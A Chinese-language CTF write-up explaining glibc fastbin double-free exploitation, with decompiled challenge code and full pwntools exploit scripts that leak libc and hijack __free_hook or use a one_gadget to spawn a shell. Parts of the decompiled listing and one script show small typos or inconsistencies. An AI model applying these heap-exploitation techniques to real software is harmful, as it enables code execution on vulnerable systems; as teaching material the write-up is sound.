Double free利用进阶
YOLO 发表于 山东 二进制安全 633浏览 · 2024-05-16 13:28

Double Free

依赖于fast bin是单向链表,并且由于当chunk被释放时,fast bin 为了防止相邻堆块合并,而导致其next_chunk的prev_inuse不会被清空

然后main_arena指向了最后应该被释放的chunk的prev_use

因此 Double Free能够成功利用主要有两部分的原因:

  • fastbin的堆块被释放后next_chunk的prev_inuse位不会被清空
  • fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证

利用思路

所以当 fastbins 中的堆块存在 chunk1->chunk2->chunk1这样的情况时,

我们可以先malloc chunk1,然后往chunk1中写数据,因为写入的数据刚好是最先覆盖带掉fd字段据,所以我们能控制这个fd字段的值,假设把这个fd值覆盖为got表上的地址,

此时fast bin就变成了 chunk2->fd

当我们再次调用chunk1时实际上调用的是我们修改的地址

那我们就可以实现向got表中写入数据。

例题

[NewStarCTF 2023 公开赛道]Double

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      _isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      del();
    }
    if ( v3 == 3 )
    {
      check();
      exit(0);
    }
    if ( v3 == 1 )
      add();
    else
      puts("Invalid choice");
  }
}

add

unsigned __int64 add()
{
  int v0; // ebx
  unsigned __int64 v2; // [rsp+8h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  puts("Input idx");
  _isoc99_scanf("%d", &idx);
  v0 = idx;
  *(&chunks + v0) = malloc(0x28uLL);
  puts("Input content");
  read(0, *(&chunks + idx), 0x28uLL);
  return __readfsqword(0x28u) ^ v2;
}

del

unsigned __int64 del()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Input idx");
  _isoc99_scanf("%d", &idx);
  free(*(&chunks + idx));
  return __readfsqword(0x28u) ^ v1;
}

发现只有free与del函数并没有show之类的函数 且free时同样,没有置空

check

unsigned __int64 check()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( dword_602070 == 1638 )
  {
    puts("Congratulations!!");
    system("/bin/sh");
  }
  else
  {
    puts("Try again!");
  }
  return __readfsqword(0x28u) ^ v1;
}

发现当check函数里面的0x602070=1638时执行excve拿到shell

但是我们要注意当我们要申请修改0x602070处的值时我们应该调用0x602060处的chunk

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
p = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(p)
    pause()
back = 0x000602060 
def add(idx, msg):
    p.sendlineafter(b">", b'1')
    p.sendlineafter(b"Input idx\n", str(idx).encode())
    p.sendafter(b"Input content", msg) 
def free(idx):
    p.sendlineafter(b">", b'2')
    p.sendlineafter(b"Input idx\n", str(idx).encode())    
add(1,b'aaaa')#0
add(2,b'aaaa')#1
free(1)
free(2)
free(1)
add(3,p64(back))
add(4,b'aaaa')
add(5,b'aaaa')
#duan()
add(6,p64(0x666))
p.sendlineafter(b">", b'3')
p.interactive()

ACTF_2019_message

版本Ubuntu18 libc-2.27.so

备注有一部分Ubuntu18是libc-2.27ubuntu1.5可能会无法运行

看一下ida

菜单函数不做过多解释了

add

unsigned __int64 sub_400A3F()
{
  int i; // [rsp+8h] [rbp-28h]
  int v2; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( dword_60204C <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    if ( v2 <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
        {
          dword_602060[4 * i] = v2;
          *(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
          puts("Please input the message:");
          read(0, *(void **)&dword_602060[4 * i + 2], v2);
          ++dword_60204C;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x

show

unsigned __int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( dword_602060[4 * v1] && v1 <= 9 )
      printf("The message: %s\n", *(const char **)&dword_602060[4 * v1 + 2]);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;

delete

unsigned __int64 sub_400B73()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( dword_60204C <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(*(void **)&dword_602060[4 * v1 + 2]);
      dword_602060[4 * v1] = 0;
      --dword_60204C;c
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

发现free堆块时并没有将chunk置为0

此时我们可以运用uaf或者double free拿到shell

思路

运用show函数泄漏base地址

劫持free_hook为system函数

向chunk中填入b'/bin/sh\x00'执行system(bin/sh)拿到flag

分析

add(0x80,b'aaaa') #0
add(0x420,b'bbbb')#1
add(0x80,b'/bin/sh\x00')#2
delete(1)
add(0x420,b'bbbbbbbb')#3
show(3)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))- 0x3EBCA0

注意malloc的chunk3一定要大于0x420使得chunk被释放后可以放入unsorted bin

此时fd与bk都指向main_arena+96

此时创建再次将此chunk申请出来就可以接收到基地址了

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.symbols['__malloc_hook']

下一步劫持free hook

add(0x60,b'cccc')#4
add(0x60,b'aaaa')#5
delete(4)
delete(5)   #不可以连续free两次同一个chunk
delete(4)
add(0x60,p64(free))  fd指针修改为free
add(0x60,b'aaaa')   #申请chubk5
add(0x60,b'dddd')  #第二次申请chunk4
add(0x60,p64(system))  劫持 free_hook
delete(2)   #调用free_hook

此时bin的结构

0x70 [  3]: 0x11927b0 —▸ 0x1192820 ◂— 0x11927b0

free_hook函数会在函数调用free时运用

所以我们此时再次dele就会成功调用system(/bin/sh)

完整exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(io)
    pause()
def add(size,message):
    io.sendlineafter(b'choice: ' , b'1')
    io.sendlineafter(b'message:\n' , str(size))
    io.sendafter(b'message:\n' , message)
def delete(index):
    io.sendlineafter(b'choice: ' , b'2')
    io.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
    io.sendlineafter(b'choice: ' , b'3')
    io.sendlineafter(b'edit:\n' , str(index))
    io.sendafter(b'message:\n' , message)

def show(index):
    io.sendlineafter(b'choice: ' , b'4')
    io.sendlineafter(b'display:\n' , str(index))

add(0x80,b'aaaa') #0
add(0x420,b'bbbb')#1
add(0x80,b'/bin/sh\x00')#2
delete(1)
add(0x420,b'bbbbbbbb')#3
show(3)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))- 0x3EBCA0
print(hex(base))
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
print(system)
add(0x60,b'cccc')#4
add(0x60,b'aaaa')#5
delete(4)
delete(5)
delete(4)
#duan()
add(0x60,p64(free))
add(0x60,b'aaaa')
add(0x60,b'dddd')
add(0x60,p64(system))
delete(2)
io.interactive()

也可以使用one_gadget

过程大致一样

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
    gdb.attach(io)
    pause()
def add(size,message):
    io.sendlineafter(b'choice: ' , b'1')
    io.sendlineafter(b'message:\n' , str(size))
    io.sendafter(b'message:\n' , message)
def delete(index):
    io.sendlineafter(b'choice: ' , b'2')
    io.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
    io.sendlineafter(b'choice: ' , b'3')
    io.sendlineafter(b'edit:\n' , str(index))
    io.sendafter(b'message:\n' , message)

def show(index):
    io.sendlineafter(b'choice: ' , b'4')
    io.sendlineafter(b'display:\n' , str(index))
og = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
add(0x410,b'aaaaaaaa')
add(0x10,b'aaaaaaaa')
add(0x10,b'bbbbbbbb')
delete(0)
add(0x410,b'aaaaaaaa')
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
shell = libc_base+og[2]
delete(1)
delete(1)
add(0x10,p64(libc_base+libc.symbols['__free_hook']))
add(0x10,b'aaaaaaaa')
add(0x10,p64(shell))
delete(3)
io.interactive()
附件:
0 条评论
某人
表情
可输入 255